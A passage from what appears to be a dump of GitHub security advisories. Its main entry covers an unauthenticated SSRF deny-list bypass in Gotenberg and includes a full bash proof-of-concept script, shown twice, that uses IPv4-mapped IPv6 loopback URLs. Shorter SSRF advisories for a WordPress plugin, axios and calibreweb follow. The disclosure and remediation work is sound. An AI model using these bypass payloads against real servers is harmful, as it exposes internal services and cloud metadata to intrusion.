"--pdfengines-convert-engines=qpdf"
"--pdfengines-read-metadata-engines=exiftool"
"--pdfengines-write-metadata-engines=exiftool"
"--pdfengines-encrypt-engines=qpdf"
"--pdfengines-embed-engines=qpdf"
"--pdfengines-read-bookmarks-engines=qpdf"
"--pdfengines-write-bookmarks-engines=qpdf"
"--pdfengines-watermark-engines=qpdf"
"--pdfengines-stamp-engines=qpdf"
"--pdfengines-rotate-engines=qpdf"
)
red() { printf '\033[31m%s\033[0m\n' "$*"; }
green() { printf '\033[32m%s\033[0m\n' "$*"; }
blue() { printf '\033[34m%s\033[0m\n' "$*"; }
cleanup() {
docker rm -f "$HELPER_NAME" >/dev/null 2>&1 || true
docker rm -f "$GOTENBERG_NAME" >/dev/null 2>&1 || true
}
fail() {
red "$1"
printf '\n--- gotenberg logs ---\n'
docker logs "$GOTENBERG_NAME" 2>/dev/null || true
printf '\n--- helper logs ---\n'
docker logs "$HELPER_NAME" 2>/dev/null || true
exit 1
}
trap cleanup EXIT
mkdir -p "$ARTIFACT_DIR"
: > "$WEBHOOK_LOG"
if [[ ! -f "$TEST_PDF" ]]; then
red "Missing test PDF: $TEST_PDF"
exit 1
fi
if [[ ! -f "$DOCKERFILE" ]]; then
red "Missing Dockerfile: $DOCKERFILE"
exit 1
fi
if ! docker image inspect "$IMAGE" >/dev/null 2>&1; then
blue "[1/6] Building slim verification image: $IMAGE"
docker build -q -t "$IMAGE" -f "$DOCKERFILE" "$ROOT" >/dev/null
else
blue "[1/6] Reusing existing image: $IMAGE"
fi
blue "[2/6] Starting minimal Gotenberg on http://127.0.0.1:$PORT"
cleanup
docker run -d --rm \
--name "$GOTENBERG_NAME" \
-p "$PORT:3000" \
"$IMAGE" \
--webhook-enable-sync-mode=true \
"${PDF_ENGINE_FLAGS[@]}" >/dev/null
for _ in $(seq 1 45); do
if curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
break
fi
sleep 1
done
if ! curl -fsS "http://127.0.0.1:$PORT/health" >/dev/null 2>&1; then
fail "Gotenberg did not become healthy"
fi
cat > "$HELPER_SCRIPT" <<'PY'
from http.server import BaseHTTPRequestHandler, HTTPServer
from pathlib import Path
from threading import Event, Thread
PDF_PATH = Path("/srv/page_1.pdf")
LOG_PATH = Path("/work/webhook.log")
PDF_BYTES = PDF_PATH.read_bytes()
class DownloadHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "application/pdf")
self.send_header("Content-Disposition", 'attachment; filename="page_1.pdf"')
self.send_header("Content-Length", str(len(PDF_BYTES)))
self.end_headers()
self.wfile.write(PDF_BYTES)
def log_message(self, fmt, *args):
return
class WebhookHandler(BaseHTTPRequestHandler):
def do_POST(self):
length = int(self.headers.get("Content-Length", "0"))
body = self.rfile.read(length)
with LOG_PATH.open("a", encoding="utf-8") as f:
f.write(
f"{self.command} {self.path} len={len(body)} "
f"content-type={self.headers.get('Content-Type', '')}\n"
)
self.send_response(200)
self.end_headers()
do_PATCH = do_POST
do_PUT = do_POST
def log_message(self, fmt, *args):
return
def serve(addr, handler):
HTTPServer(addr, handler).serve_forever()
Thread(target=serve, args=(("127.0.0.1", 18081), DownloadHandler), daemon=True).start()
Thread(target=serve, args=(("127.0.0.1", 18082), WebhookHandler), daemon=True).start()
print("internal helper ready", flush=True)
Event().wait()
PY
blue "[3/6] Starting internal-only helper inside the same network namespace"
docker run -d --rm \
--name "$HELPER_NAME" \
--network "container:$GOTENBERG_NAME" \
-v "$TEST_PDF:/srv/page_1.pdf:ro" \
-v "$ARTIFACT_DIR:/work" \
-v "$HELPER_SCRIPT:/app/internal_helper.py:ro" \
python:3.11-alpine \
python /app/internal_helper.py >/dev/null
for _ in $(seq 1 20); do
if docker logs "$HELPER_NAME" 2>&1 | grep -q "internal helper ready"; then
break
fi
sleep 1
done
if ! docker logs "$HELPER_NAME" 2>&1 | grep -q "internal helper ready"; then
fail "Internal helper did not start"
fi
blue "[4/6] Verifying downloadFrom SSRF bypass with $DOWNLOAD_BYPASS_URL"
download_status="$(
curl -sS \
-o "$DOWNLOAD_JSON" \
-w '%{http_code}' \
-X POST "http://127.0.0.1:$PORT/forms/pdfengines/metadata/read" \
-F "downloadFrom=[{\"url\":\"$DOWNLOAD_BYPASS_URL\"}]"
)"
if [[ "$download_status" != "200" ]]; then
cat "$DOWNLOAD_JSON" 2>/dev/null || true
fail "downloadFrom verification failed with HTTP $download_status"
fi
if ! jq -e 'has("page_1.pdf")' "$DOWNLOAD_JSON" >/dev/null 2>&1; then
cat "$DOWNLOAD_JSON" || true
fail "downloadFrom verification failed: expected metadata for page_1.pdf"
fi
green "PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata"
blue "[5/6] Verifying webhook SSRF bypass with $WEBHOOK_UPLOAD_BYPASS_URL"
webhook_status="$(
curl -sS \
-o /dev/null \
-w '%{http_code}' \
-X POST "http://127.0.0.1:$PORT/forms/pdfengines/flatten" \
-H "Gotenberg-Webhook-Url: $WEBHOOK_UPLOAD_BYPASS_URL" \
-H "Gotenberg-Webhook-Events-Url: $WEBHOOK_EVENTS_BYPASS_URL" \
-F "files=@$TEST_PDF"
)"
if [[ "$webhook_status" != "204" ]]; then
fail "webhook verification failed with HTTP $webhook_status"
fi
if ! grep -q '^POST /upload ' "$WEBHOOK_LOG"; then
cat "$WEBHOOK_LOG" || true
fail "webhook verification failed: /upload was not hit"
fi
if ! grep -q '^POST /events ' "$WEBHOOK_LOG"; then
cat "$WEBHOOK_LOG" || true
fail "webhook verification failed: /events was not hit"
fi
green "PASS webhook: Gotenberg POSTed to an internal-only loopback listener"
blue "[6/6] Evidence files"
printf 'downloadFrom metadata: %s\n' "$DOWNLOAD_JSON"
printf 'webhook log: %s\n' "$WEBHOOK_LOG"
printf '\n--- downloadFrom metadata excerpt ---\n'
jq '{filename_present: has("page_1.pdf"), sample_keys: (."page_1.pdf" | keys[0:6])}' "$DOWNLOAD_JSON"
printf '\n--- webhook log ---\n'
cat "$WEBHOOK_LOG"
printf '\n'
green "Verification complete"
printf 'Tip: the first run may take time because it builds and pulls images. For a 10-15 second video, run this script once to warm the cache, then record the second run.\n'
Impact
This is an unauthenticated SSRF vulnerability. Any user who can reach a Gotenberg instance can coerce it into making outbound HTTP requests to loopback and potentially other private/internal addresses despite the default deny-list. That can expose internal HTTP services, cloud metadata endpoints, local admin APIs, and service-to-service interfaces that are not intended to be reachable from the public network.
Affected users are operators who rely on the default downloadFrom and webhook deny-lists for SSRF protection. In practice, an attacker can:
- Read content from internal HTTP endpoints through
downloadFrom. - Trigger state-changing POST/PATCH/PUT requests through the
webhookfeature. - Reach services bound only to localhost from the perspective of the Gotenberg host or container.
Remediation
-
Normalize and structurally validate URLs before any allow-list or deny-list decision. Parse with
net/url, lowercase the scheme/host where appropriate, canonicalize bracketed IPv6 forms, strip trailing dots, and normalize IPv4-mapped IPv6 addresses before evaluation. -
Replace regex-only private-address filtering with resolved IP validation. Resolve the hostname, evaluate every resolved IP with
net/netip, and block loopback, RFC1918, link-local, unspecified, ULA, multicast, and IPv4-mapped IPv6 private/loopback targets. Re-validate after redirects as well. -
Reconsider the security default for outbound URL features. Either disable
downloadFromandwebhookby default, or ship a strict default policy that only allowshttp/httpsplus explicit operator allow-lists. If the feature remains enabled, apply the same canonicalization and IP checks consistently todownloadFrom,webhook, error URLs, and event URLs.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 8.30.1"
},
"package": {
"ecosystem": "Go",
"name": "github.com/gotenberg/gotenberg/v8"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.32.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42596"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T01:15:19Z",
"nvd_published_at": "2026-05-14T16:16:22Z",
"severity": "CRITICAL"
},
"details": "### Summary\nThe default deny-lists used by Gotenberg\u0027s `downloadFrom` feature and `webhook` feature are bypassable. Because the filter is regex-based and case-sensitive, an unauthenticated attacker can supply URLs such as `http://[::ffff:127.0.0.1]:...` and reach loopback or private HTTP services that the default deny-list is intended to block. This crosses a real security boundary because an external caller can force the server to make outbound requests to internal-only targets.\n\n### Details\nThe issue originates from the shipped default deny-list regexes and the way those regexes are applied:\n\n- `pkg/modules/api/api.go:198-200` defines the default `api-download-from-deny-list`.\n- `pkg/modules/webhook/webhook.go:41-43` defines the default `webhook-deny-list`.\n- `pkg/gotenberg/filter.go:20-69` evaluates those patterns with `regexp2` using case-sensitive matching.\n\nThe attacker-controlled URL then reaches outbound request sinks:\n\n- `pkg/modules/api/context.go:208-282`\n - Reads attacker-supplied `downloadFrom`.\n - Calls `gotenberg.FilterDeadline(...)`.\n - Issues an outbound GET with `retryablehttp.NewRequest(...)` and `client.Do(...)`.\n- `pkg/modules/webhook/middleware.go:99-217`\n - Reads `Gotenberg-Webhook-Url` and `Gotenberg-Webhook-Events-Url`.\n - Calls `gotenberg.FilterDeadline(...)`.\n - Constructs a `client` for outbound delivery.\n- `pkg/modules/webhook/client.go:39-152`\n - Sends the success or error webhook request.\n- `pkg/modules/webhook/client.go:155-216`\n - Sends the webhook event request.\n\nWhy the bypass works:\n\n1. The default deny-list only blocks lowercase `http://` and `https://` prefixes.\n2. The filtering logic performs case-sensitive regex matching on the raw user input.\n3. Go\u0027s HTTP stack accepts multiple textual representations of loopback/private addresses that are not covered by the default regex, including IPv4-mapped IPv6 loopback like `http://[::ffff:127.0.0.1]:18081/...`.\n4. As a result, a URL can fail the deny-list check but still be interpreted as a valid loopback/private destination by the outbound client.\n\nConfirmed bypass used during verification:\n\n- `http://[::ffff:127.0.0.1]:18081/page_1.pdf`\n- `http://[::ffff:127.0.0.1]:18082/upload`\n- `http://[::ffff:127.0.0.1]:18082/events`\n\nThis is not the same issue as the previously published Chromium deny-list advisories. This finding affects the separate `downloadFrom` and `webhook` URL filtering paths.\n\n### PoC\n#### One-command verification\nFrom the repository root:\n\n```bash\ncd \u0027/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg\u0027\n./tmp/poc/verify_ssrf_poc.sh\n```\n\nWhat the script does:\n\n1. Builds or reuses a slim local Gotenberg image that contains only the modules needed for this proof.\n2. Starts Gotenberg on `127.0.0.1:3000`.\n3. Starts an internal-only helper listener inside the same container network namespace.\n4. Verifies `downloadFrom` SSRF by forcing Gotenberg to fetch a PDF from `http://[::ffff:127.0.0.1]:18081/page_1.pdf`.\n5. Verifies `webhook` SSRF by forcing Gotenberg to POST to `http://[::ffff:127.0.0.1]:18082/upload` and `http://[::ffff:127.0.0.1]:18082/events`.\n6. Writes evidence artifacts to disk.\n\nExpected success output:\n\n```text\n[4/6] Verifying downloadFrom SSRF bypass with http://[::ffff:127.0.0.1]:18081/page_1.pdf\nPASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata\n[5/6] Verifying webhook SSRF bypass with http://[::ffff:127.0.0.1]:18082/upload\nPASS webhook: Gotenberg POSTed to an internal-only loopback listener\n```\n\nEvidence files created by the script:\n\n- `/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json`\n- `/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log`\n\n#### Manual evidence commands\nThe following commands were run after the verifier completed successfully:\n\n```bash\njq \u0027.\u0027 \u0027/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/downloadfrom-metadata.json\u0027\ncat \u0027/Users/r1zzg0d/Documents/CVE hunting/targets/gotenberg/tmp/poc/artifacts/webhook.log\u0027\n```\n\nObserved output:\n\n```json\n{\n \"page_1.pdf\": {\n \"CreateDate\": \"2025:02:17 14:46:38+00:00\",\n \"FileType\": \"PDF\",\n \"FileTypeExtension\": \"pdf\",\n \"Linearized\": \"No\",\n \"MIMEType\": \"application/pdf\",\n \"ModifyDate\": \"2025:02:17 14:46:38+00:00\",\n \"PDFVersion\": 1.7,\n \"PageCount\": 1,\n \"Producer\": \"PDFTron built-in office converter, V11.2.0-d27340a176\\n\",\n \"SourceFile\": \"/tmp/d924af59-709e-4d08-8ebc-dafec9048235/b0d0dcdc-84ff-4919-8fe6-f6bdbbd9a68a/eae4a9bc-e3e3-48e2-b5bd-114408d87d84.pdf\"\n }\n}\n```\n\n```text\nPOST /upload len=4363 content-type=application/pdf\nPOST /events len=126 content-type=application/json\n```\n\nPoC Video:\n\nhttps://github.com/user-attachments/assets/a70a4e09-e9a7-4df8-a9a5-77b09fbd59f3\n\n\n\nInterpretation:\n\n- The JSON metadata proves Gotenberg successfully fetched and parsed a PDF from an internal loopback URL.\n- The webhook log proves Gotenberg sent outbound requests to internal loopback endpoints that should have been blocked by the default deny-list.\n\n### `verify_ssrf_poc.sh`\n```bash\n#!/usr/bin/env bash\nset -euo pipefail\n\nROOT=\"$(cd \"$(dirname \"${BASH_SOURCE[0]}\")/../..\" \u0026\u0026 pwd)\"\nIMAGE=\"${IMAGE:-gotenberg-local-ssrf-poc:minimal}\"\nDOCKERFILE=\"${DOCKERFILE:-$ROOT/tmp/poc/Dockerfile.minimal}\"\nGOTENBERG_NAME=\"${GOTENBERG_NAME:-gotenberg-ssrf-poc}\"\nHELPER_NAME=\"${HELPER_NAME:-gotenberg-ssrf-helper}\"\nPORT=\"${PORT:-3000}\"\nARTIFACT_DIR=\"${ARTIFACT_DIR:-$ROOT/tmp/poc/artifacts}\"\nTEST_PDF=\"$ROOT/test/integration/testdata/page_1.pdf\"\nDOWNLOAD_JSON=\"$ARTIFACT_DIR/downloadfrom-metadata.json\"\nWEBHOOK_LOG=\"$ARTIFACT_DIR/webhook.log\"\nHELPER_SCRIPT=\"$ARTIFACT_DIR/internal_helper.py\"\nDOWNLOAD_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18081/page_1.pdf\"\nWEBHOOK_UPLOAD_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18082/upload\"\nWEBHOOK_EVENTS_BYPASS_URL=\"http://[::ffff:127.0.0.1]:18082/events\"\nPDF_ENGINE_FLAGS=(\n \"--pdfengines-merge-engines=qpdf\"\n \"--pdfengines-split-engines=qpdf\"\n \"--pdfengines-flatten-engines=qpdf\"\n \"--pdfengines-convert-engines=qpdf\"\n \"--pdfengines-read-metadata-engines=exiftool\"\n \"--pdfengines-write-metadata-engines=exiftool\"\n \"--pdfengines-encrypt-engines=qpdf\"\n \"--pdfengines-embed-engines=qpdf\"\n \"--pdfengines-read-bookmarks-engines=qpdf\"\n \"--pdfengines-write-bookmarks-engines=qpdf\"\n \"--pdfengines-watermark-engines=qpdf\"\n \"--pdfengines-stamp-engines=qpdf\"\n \"--pdfengines-rotate-engines=qpdf\"\n)\n\nred() { printf \u0027\\033[31m%s\\033[0m\\n\u0027 \"$*\"; }\ngreen() { printf \u0027\\033[32m%s\\033[0m\\n\u0027 \"$*\"; }\nblue() { printf \u0027\\033[34m%s\\033[0m\\n\u0027 \"$*\"; }\n\ncleanup() {\n docker rm -f \"$HELPER_NAME\" \u003e/dev/null 2\u003e\u00261 || true\n docker rm -f \"$GOTENBERG_NAME\" \u003e/dev/null 2\u003e\u00261 || true\n}\n\nfail() {\n red \"$1\"\n printf \u0027\\n--- gotenberg logs ---\\n\u0027\n docker logs \"$GOTENBERG_NAME\" 2\u003e/dev/null || true\n printf \u0027\\n--- helper logs ---\\n\u0027\n docker logs \"$HELPER_NAME\" 2\u003e/dev/null || true\n exit 1\n}\n\ntrap cleanup EXIT\n\nmkdir -p \"$ARTIFACT_DIR\"\n: \u003e \"$WEBHOOK_LOG\"\n\nif [[ ! -f \"$TEST_PDF\" ]]; then\n red \"Missing test PDF: $TEST_PDF\"\n exit 1\nfi\n\nif [[ ! -f \"$DOCKERFILE\" ]]; then\n red \"Missing Dockerfile: $DOCKERFILE\"\n exit 1\nfi\n\nif ! docker image inspect \"$IMAGE\" \u003e/dev/null 2\u003e\u00261; then\n blue \"[1/6] Building slim verification image: $IMAGE\"\n docker build -q -t \"$IMAGE\" -f \"$DOCKERFILE\" \"$ROOT\" \u003e/dev/null\nelse\n blue \"[1/6] Reusing existing image: $IMAGE\"\nfi\n\nblue \"[2/6] Starting minimal Gotenberg on http://127.0.0.1:$PORT\"\ncleanup\ndocker run -d --rm \\\n --name \"$GOTENBERG_NAME\" \\\n -p \"$PORT:3000\" \\\n \"$IMAGE\" \\\n --webhook-enable-sync-mode=true \\\n \"${PDF_ENGINE_FLAGS[@]}\" \u003e/dev/null\n\nfor _ in $(seq 1 45); do\n if curl -fsS \"http://127.0.0.1:$PORT/health\" \u003e/dev/null 2\u003e\u00261; then\n break\n fi\n sleep 1\ndone\n\nif ! curl -fsS \"http://127.0.0.1:$PORT/health\" \u003e/dev/null 2\u003e\u00261; then\n fail \"Gotenberg did not become healthy\"\nfi\n\ncat \u003e \"$HELPER_SCRIPT\" \u003c\u003c\u0027PY\u0027\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nfrom pathlib import Path\nfrom threading import Event, Thread\n\nPDF_PATH = Path(\"/srv/page_1.pdf\")\nLOG_PATH = Path(\"/work/webhook.log\")\nPDF_BYTES = PDF_PATH.read_bytes()\n\n\nclass DownloadHandler(BaseHTTPRequestHandler):\n def do_GET(self):\n self.send_response(200)\n self.send_header(\"Content-Type\", \"application/pdf\")\n self.send_header(\"Content-Disposition\", \u0027attachment; filename=\"page_1.pdf\"\u0027)\n self.send_header(\"Content-Length\", str(len(PDF_BYTES)))\n self.end_headers()\n self.wfile.write(PDF_BYTES)\n\n def log_message(self, fmt, *args):\n return\n\n\nclass WebhookHandler(BaseHTTPRequestHandler):\n def do_POST(self):\n length = int(self.headers.get(\"Content-Length\", \"0\"))\n body = self.rfile.read(length)\n with LOG_PATH.open(\"a\", encoding=\"utf-8\") as f:\n f.write(\n f\"{self.command} {self.path} len={len(body)} \"\n f\"content-type={self.headers.get(\u0027Content-Type\u0027, \u0027\u0027)}\\n\"\n )\n self.send_response(200)\n self.end_headers()\n\n do_PATCH = do_POST\n do_PUT = do_POST\n\n def log_message(self, fmt, *args):\n return\n\n\ndef serve(addr, handler):\n HTTPServer(addr, handler).serve_forever()\n\n\nThread(target=serve, args=((\"127.0.0.1\", 18081), DownloadHandler), daemon=True).start()\nThread(target=serve, args=((\"127.0.0.1\", 18082), WebhookHandler), daemon=True).start()\n\nprint(\"internal helper ready\", flush=True)\nEvent().wait()\nPY\n\nblue \"[3/6] Starting internal-only helper inside the same network namespace\"\ndocker run -d --rm \\\n --name \"$HELPER_NAME\" \\\n --network \"container:$GOTENBERG_NAME\" \\\n -v \"$TEST_PDF:/srv/page_1.pdf:ro\" \\\n -v \"$ARTIFACT_DIR:/work\" \\\n -v \"$HELPER_SCRIPT:/app/internal_helper.py:ro\" \\\n python:3.11-alpine \\\n python /app/internal_helper.py \u003e/dev/null\n\nfor _ in $(seq 1 20); do\n if docker logs \"$HELPER_NAME\" 2\u003e\u00261 | grep -q \"internal helper ready\"; then\n break\n fi\n sleep 1\ndone\n\nif ! docker logs \"$HELPER_NAME\" 2\u003e\u00261 | grep -q \"internal helper ready\"; then\n fail \"Internal helper did not start\"\nfi\n\nblue \"[4/6] Verifying downloadFrom SSRF bypass with $DOWNLOAD_BYPASS_URL\"\ndownload_status=\"$(\n curl -sS \\\n -o \"$DOWNLOAD_JSON\" \\\n -w \u0027%{http_code}\u0027 \\\n -X POST \"http://127.0.0.1:$PORT/forms/pdfengines/metadata/read\" \\\n -F \"downloadFrom=[{\\\"url\\\":\\\"$DOWNLOAD_BYPASS_URL\\\"}]\"\n)\"\n\nif [[ \"$download_status\" != \"200\" ]]; then\n cat \"$DOWNLOAD_JSON\" 2\u003e/dev/null || true\n fail \"downloadFrom verification failed with HTTP $download_status\"\nfi\n\nif ! jq -e \u0027has(\"page_1.pdf\")\u0027 \"$DOWNLOAD_JSON\" \u003e/dev/null 2\u003e\u00261; then\n cat \"$DOWNLOAD_JSON\" || true\n fail \"downloadFrom verification failed: expected metadata for page_1.pdf\"\nfi\n\ngreen \"PASS downloadFrom: Gotenberg fetched an internal-only loopback URL and returned PDF metadata\"\n\nblue \"[5/6] Verifying webhook SSRF bypass with $WEBHOOK_UPLOAD_BYPASS_URL\"\nwebhook_status=\"$(\n curl -sS \\\n -o /dev/null \\\n -w \u0027%{http_code}\u0027 \\\n -X POST \"http://127.0.0.1:$PORT/forms/pdfengines/flatten\" \\\n -H \"Gotenberg-Webhook-Url: $WEBHOOK_UPLOAD_BYPASS_URL\" \\\n -H \"Gotenberg-Webhook-Events-Url: $WEBHOOK_EVENTS_BYPASS_URL\" \\\n -F \"files=@$TEST_PDF\"\n)\"\n\nif [[ \"$webhook_status\" != \"204\" ]]; then\n fail \"webhook verification failed with HTTP $webhook_status\"\nfi\n\nif ! grep -q \u0027^POST /upload \u0027 \"$WEBHOOK_LOG\"; then\n cat \"$WEBHOOK_LOG\" || true\n fail \"webhook verification failed: /upload was not hit\"\nfi\n\nif ! grep -q \u0027^POST /events \u0027 \"$WEBHOOK_LOG\"; then\n cat \"$WEBHOOK_LOG\" || true\n fail \"webhook verification failed: /events was not hit\"\nfi\n\ngreen \"PASS webhook: Gotenberg POSTed to an internal-only loopback listener\"\n\nblue \"[6/6] Evidence files\"\nprintf \u0027downloadFrom metadata: %s\\n\u0027 \"$DOWNLOAD_JSON\"\nprintf \u0027webhook log: %s\\n\u0027 \"$WEBHOOK_LOG\"\n\nprintf \u0027\\n--- downloadFrom metadata excerpt ---\\n\u0027\njq \u0027{filename_present: has(\"page_1.pdf\"), sample_keys: (.\"page_1.pdf\" | keys[0:6])}\u0027 \"$DOWNLOAD_JSON\"\n\nprintf \u0027\\n--- webhook log ---\\n\u0027\ncat \"$WEBHOOK_LOG\"\n\nprintf \u0027\\n\u0027\ngreen \"Verification complete\"\nprintf \u0027Tip: the first run may take time because it builds and pulls images. For a 10-15 second video, run this script once to warm the cache, then record the second run.\\n\u0027\n```\n\n### Impact\nThis is an unauthenticated SSRF vulnerability. Any user who can reach a Gotenberg instance can coerce it into making outbound HTTP requests to loopback and potentially other private/internal addresses despite the default deny-list. That can expose internal HTTP services, cloud metadata endpoints, local admin APIs, and service-to-service interfaces that are not intended to be reachable from the public network.\n\nAffected users are operators who rely on the default `downloadFrom` and `webhook` deny-lists for SSRF protection. In practice, an attacker can:\n\n- Read content from internal HTTP endpoints through `downloadFrom`.\n- Trigger state-changing POST/PATCH/PUT requests through the `webhook` feature.\n- Reach services bound only to localhost from the perspective of the Gotenberg host or container.\n\n### Remediation\n1. Normalize and structurally validate URLs before any allow-list or deny-list decision.\n Parse with `net/url`, lowercase the scheme/host where appropriate, canonicalize bracketed IPv6 forms, strip trailing dots, and normalize IPv4-mapped IPv6 addresses before evaluation.\n\n2. Replace regex-only private-address filtering with resolved IP validation.\n Resolve the hostname, evaluate every resolved IP with `net/netip`, and block loopback, RFC1918, link-local, unspecified, ULA, multicast, and IPv4-mapped IPv6 private/loopback targets. Re-validate after redirects as well.\n\n3. Reconsider the security default for outbound URL features.\n Either disable `downloadFrom` and `webhook` by default, or ship a strict default policy that only allows `http`/`https` plus explicit operator allow-lists. If the feature remains enabled, apply the same canonicalization and IP checks consistently to `downloadFrom`, `webhook`, error URLs, and event URLs.",
"id": "GHSA-4vmc-gm8v-m35h",
"modified": "2026-05-14T20:52:50Z",
"published": "2026-05-07T01:15:19Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gotenberg/gotenberg/security/advisories/GHSA-4vmc-gm8v-m35h"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42596"
},
{
"type": "PACKAGE",
"url": "https://github.com/gotenberg/gotenberg"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L",
"type": "CVSS_V3"
}
],
"summary": "Gotenberg vulnerable to unauthenticated SSRF via default deny-list bypass in downloadFrom and webhook"
}
GHSA-4VR9-8JJ4-GFWV
Vulnerability from github – Published: 2026-03-21 06:30 – Updated: 2026-03-21 06:30The Performance Monitor plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0.6. This is due to insufficient validation of the 'url' parameter in the '/wp-json/performance-monitor/v1/curl_data' REST API endpoint. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations, including internal services, via the Gopher protocol and other dangerous protocols. This can be exploited to achieve Remote Code Execution by chaining with services like Redis.
{
"affected": [],
"aliases": [
"CVE-2026-1648"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-03-21T04:16:54Z",
"severity": "HIGH"
},
"details": "The Performance Monitor plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 1.0.6. This is due to insufficient validation of the \u0027url\u0027 parameter in the \u0027/wp-json/performance-monitor/v1/curl_data\u0027 REST API endpoint. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations, including internal services, via the Gopher protocol and other dangerous protocols. This can be exploited to achieve Remote Code Execution by chaining with services like Redis.",
"id": "GHSA-4vr9-8jj4-gfwv",
"modified": "2026-03-21T06:30:24Z",
"published": "2026-03-21T06:30:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1648"
},
{
"type": "WEB",
"url": "https://github.com/assetnote/blind-ssrf-chains"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/performance-monitor/tags/1.0.6/admin/class-curl.php#L50"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/performance-monitor/tags/1.0.6/includes/class-rest-callback.php#L168"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c8f42f17-bce2-421e-9031-bfa0f8c26b2a?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-4W2V-Q235-VP99
Vulnerability from github – Published: 2021-01-04 20:59 – Updated: 2022-09-14 20:36Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "axios"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.21.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2020-28168"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2021-01-04T20:57:20Z",
"nvd_published_at": "2020-11-06T20:15:00Z",
"severity": "MODERATE"
},
"details": "Axios NPM package 0.21.0 contains a Server-Side Request Forgery (SSRF) vulnerability where an attacker is able to bypass a proxy by providing a URL that responds with a redirect to a restricted host or IP address.",
"id": "GHSA-4w2v-q235-vp99",
"modified": "2022-09-14T20:36:52Z",
"published": "2021-01-04T20:59:40Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-28168"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/issues/3369"
},
{
"type": "WEB",
"url": "https://github.com/axios/axios/commit/c7329fefc890050edd51e40e469a154d0117fc55"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/pdf/ssa-637483.pdf"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r25d53acd06f29244b8a103781b0339c5e7efee9099a4d52f0c230e4a@%3Ccommits.druid.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/r954d80fd18e9dafef6e813963eb7e08c228151c2b6268ecd63b35d1f@%3Ccommits.druid.apache.org%3E"
},
{
"type": "WEB",
"url": "https://lists.apache.org/thread.html/rdfd2901b8b697a3f6e2c9c6ecc688fd90d7f881937affb5144d61d6e@%3Ccommits.druid.apache.org%3E"
},
{
"type": "WEB",
"url": "https://snyk.io/vuln/SNYK-JS-AXIOS-1038255"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/advisories/1594"
},
{
"type": "WEB",
"url": "https://www.npmjs.com/package/axios"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Axios vulnerable to Server-Side Request Forgery"
}
GHSA-4W8P-X6G8-FV64
Vulnerability from github – Published: 2022-02-01 00:48 – Updated: 2024-11-19 19:23calibreweb prior to version 0.6.16 contains a Server-Side Request Forgery (SSRF) vulnerability.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "calibreweb"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.6.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2022-0339"
],
"database_specific": {
"cwe_ids": [
"CWE-918"
],
"github_reviewed": true,
"github_reviewed_at": "2022-01-31T22:07:47Z",
"nvd_published_at": "2022-01-30T14:15:00Z",
"severity": "MODERATE"
},
"details": "calibreweb prior to version 0.6.16 contains a Server-Side Request Forgery (SSRF) vulnerability.",
"id": "GHSA-4w8p-x6g8-fv64",
"modified": "2024-11-19T19:23:22Z",
"published": "2022-02-01T00:48:54Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0339"
},
{
"type": "WEB",
